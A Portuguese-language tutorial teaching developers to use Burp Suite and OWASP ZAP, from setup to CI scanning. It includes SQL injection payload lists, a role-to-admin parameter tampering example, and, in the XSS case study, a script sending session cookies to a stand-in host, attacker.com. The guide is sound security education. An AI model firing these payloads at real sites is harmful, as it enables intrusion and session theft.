Ferramentas de pentest: Burp Suite, OWASP ZAP

1. Introdução às ferramentas de pentest para desenvolvedores

Desenvolvedores frequentemente enxergam segurança como uma etapa posterior ao desenvolvimento, mas a realidade é que vulnerabilidades descobertas em produção custam de 10 a 100 vezes mais para corrigir do que aquelas encontradas durante a codificação. Dominar ferramentas de pentest permite que você identifique falhas antes que elas cheguem aos ambientes de staging ou produção.

É importante entender a diferença entre as abordagens:
- SAST (Static Application Security Testing): analisa o código-fonte sem executá-lo (ex: SonarQube, Semgrep)
- DAST (Dynamic Application Security Testing): testa a aplicação em execução, como um invasor faria (ex: Burp Suite, OWASP ZAP)
- Pentest manual: intervenção humana para explorar lógicas de negócio e vulnerabilidades complexas

Burp Suite e OWASP ZAP são as ferramentas DAST mais populares. O Burp Suite Community Edition é gratuito com funcionalidades limitadas, enquanto a versão Professional (paga) oferece scanner avançado e ferramentas como o Intruder sem throttling. O OWASP ZAP é totalmente open-source e mantido pela comunidade OWASP, sendo ideal para equipes com orçamento restrito.

2. Configuração do ambiente de testes

Instalação do Burp Suite Community Edition

Baixe o instalador em portswigger.net. Após a instalação, configure o proxy local:

1. Abra o Burp Suite e vá em Proxy > Proxy Settings
2. Adicione um listener na porta 8080 (padrão), endereço 127.0.0.1
3. Marque "Support invisible proxying" para aplicações que não respeitam proxy do sistema
4. No navegador, configure o proxy manual: HTTP/HTTPS -> 127.0.0.1:8080
5. Acesse http://burpsuite e baixe o certificado CA para interceptar HTTPS

Instalação do OWASP ZAP

Disponível em zaproxy.org. A configuração é similar:

1. Execute o ZAP e aceite o certificado padrão
2. Vá em Tools > Options > Local Proxies
3. Verifique se o listener está em 127.0.0.1:8080 (padrão)
4. Para interceptar HTTPS, vá em Tools > Options > Dynamic SSL Certificates
5. Clique em "Save" e importe o certificado no navegador como autoridade de certificação confiável

3. Interceptação e manipulação de tráfego HTTP/HTTPS

Interceptando requisições

No Burp Suite, a interceptação é controlada pelo botão "Intercept is on/off" na aba Proxy. Quando ativada, cada requisição é pausada para edição.

No OWASP ZAP, o recurso equivalente são os "Breakpoints". Clique no botão verde "Set Break on All Requests and Responses" ou pressione Ctrl+B.

Modificando parâmetros em tempo real

Exemplo prático: alterar o parâmetro role de user para admin em uma requisição de login:

Requisição original (Burp Suite):
POST /api/login HTTP/1.1
Host: exemplo.com
Cookie: session=abc123

username=joao&password=123&role=user

Após modificação manual no Proxy:
POST /api/login HTTP/1.1
Host: exemplo.com
Cookie: session=abc123

username=joao&password=123&role=admin

Replay de requisições

No Burp Suite, clique com botão direito na requisição desejada (History) e selecione "Send to Repeater". No ZAP, use "Resend" no menu de contexto da aba History.

4. Scanner de vulnerabilidades automatizado

Varredura ativa no Burp Suite

Com a versão Community, o scanner ativo é limitado. Use a abordagem manual com Intruder:

1. Envie a requisição para Intruder (Ctrl+I)
2. Configure payload positions nos parâmetros desejados
3. Use payload lists como "Fuzzing - XSS" ou "SQL Injection" do próprio Burp
4. Analise as respostas por diferenças de tamanho, status code ou palavras-chave

Varredura automática no OWASP ZAP

O ZAP oferece scanner completo gratuitamente:

1. Clique com botão direito na aba Sites e selecione "Attack > Active Scan"
2. Configure o escopo: URL base e parâmetros a testar
3. Marque "Handle anti-CSRF tokens" se aplicável
4. Execute e aguarde a conclusão (pode levar minutos)
5. Analise os alertas em "Alerts" tab, ordenando por severidade

Interpretação de alertas

Falsos positivos são comuns. Exemplo de alerta no ZAP:

Alerta: SQL Injection - Time-based
URL: http://exemplo.com/produto?id=1
Evidência: Resposta levou 5 segundos com payload ' OR SLEEP(5) -- 
Severidade: Alta
Ação: Verificar manualmente se o atraso foi causado pela injeção ou por latência de rede

5. Testes manuais de segurança com ferramentas auxiliares

Sequenciador de requisições (Burp Sequencer)

Para analisar a aleatoriedade de tokens CSRF:

1. Capture uma requisição que contenha o token CSRF
2. Envie para Sequencer (Ctrl+Shift+S)
3. Selecione o token como "Token Location"
4. Execute a coleta (pelo menos 200 amostras)
5. Analise o relatório de entropia: valores abaixo de 0.5 indicam previsibilidade

Fuzzing com Intruder (Burp) e Fuzzer (ZAP)

Testando SQL Injection em um parâmetro id:

Payloads comuns para Intruder:
1' OR '1'='1
1' AND 1=1--
1' UNION SELECT NULL--
1' WAITFOR DELAY '0:0:5'--

No ZAP, use o Fuzzer via "Tools > Fuzzer" ou clique com botão direito > "Fuzz".

Decodificação e codificação

No Burp Suite, use a aba "Decoder" para converter payloads:

Input: <script>alert('XSS')</script>
URL-encoded: %3Cscript%3Ealert(%27XSS%27)%3C%2Fscript%3E
Base64: PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4=

6. Integração com pipelines de desenvolvimento

Automação via CLI com ZAP Headless

Exemplo de comando para varredura automatizada:

zap.sh -cmd -quickurl http://localhost:3000 -quickprogress -quickout relatorio.html

Para integração com GitHub Actions:

name: ZAP Scan
on: [push]
jobs:
  zap_scan:
    runs-on: ubuntu-latest
    steps:
      - name: ZAP Scan
        uses: zaproxy/action-full-scan@v0.10.0
        with:
          target: 'http://localhost:3000'
          rules_file_name: '.zap/rules.tsv'
          cmd_options: '-a'

Exportação de relatórios

Burp Suite Professional permite exportar em HTML, XML e JSON. No ZAP:

1. Vá em Report > Generate Report
2. Selecione o template (HTML clássico, XML, JSON)
3. Defina o escopo: "Only include alerts in scope"
4. Salve o arquivo para compartilhar com o time

Redução de ruído com escopos

No Burp Suite, configure "Target > Scope" para incluir apenas URLs relevantes. No ZAP, use "Contexts" para definir exclusões:

Contexto: "Aplicacao_Interna"
Incluir: http://app.exemplo.com/*
Excluir: http://app.exemplo.com/logout
Excluir: http://app.exemplo.com/healthcheck

7. Casos práticos: SQL Injection e XSS com as ferramentas

Identificando SQL Injection

Cenário: formulário de busca de produtos com parâmetro q.

Com o Intruder (Burp):

Payload testado: ' OR '1'='1
Resposta original: 200 OK, 15 resultados
Resposta com payload: 200 OK, 250 resultados (todos os produtos)
Conclusão: Possível SQL Injection confirmada

Com o Fuzzer (ZAP):

Payload testado: ' UNION SELECT null,null,null--
Resposta: 500 Internal Server Error com mensagem "Column count mismatch"
Conclusão: Número de colunas identificado, prosseguir com UNION SELECT

Detectando XSS refletido

Cenário: página de erro que reflete o parâmetro msg.

Interceptação com Burp:

Requisição original:
GET /error?msg=Pagina+nao+encontrada HTTP/1.1

Payload XSS:
GET /error?msg=<script>document.location='http://attacker.com/steal?cookie='+document.cookie</script> HTTP/1.1

Resposta (inspecionada no Repeater):
<div class="erro"><script>document.location='http://attacker.com/steal?cookie='+document.cookie</script></div>

Comparação de resultados

Ambas as ferramentas detectaram SQL Injection e XSS, mas o ZAP gerou mais falsos positivos (5 vs 2 no Burp). O Burp Suite ofereceu maior precisão nos alertas de alta severidade, enquanto o ZAP se destacou na cobertura de endpoints (mapeou 30 páginas a mais com o Spider).

8. Boas práticas e limitações para desenvolvedores

Quando usar cada ferramenta

  • OWASP ZAP: equipes pequenas, orçamento zero, CI/CD automatizado, projetos open-source
  • Burp Suite Professional: equipes maduras, testes manuais aprofundados, necessidade de relatórios profissionais
  • Burp Suite Community: aprendizado e testes pontuais, mas com limitações severas no scanner

Limitações importantes

  • Varreduras cegas: ferramentas DAST não detectam vulnerabilidades em funcionalidades que exigem múltiplas etapas (ex: fluxo de compra completo)
  • Autenticação complexa: OAuth2, SAML e SSO podem exigir configuração manual de sessões
  • Lógica de negócio: descontos indevidos, limites de rate não são detectados por scanners automáticos

Checklist pós-pentest

1. Corrigir vulnerabilidades críticas em até 48 horas
2. Reexecutar varredura focada nos endpoints corrigidos
3. Documentar falsos positivos para evitar retrabalho
4. Atualizar regras de exclusão no ZAP/Burp
5. Revisar logs de autenticação para detectar tentativas de exploração
6. Agendar nova varredura completa após deploy da correção

Dominar Burp Suite e OWASP ZAP não substitui um pentest profissional, mas capacita desenvolvedores a identificar e corrigir vulnerabilidades comuns antes que se tornem problemas de produção. Invista tempo em aprender os recursos manuais de cada ferramenta — o scanner automático é apenas o começo.


Referências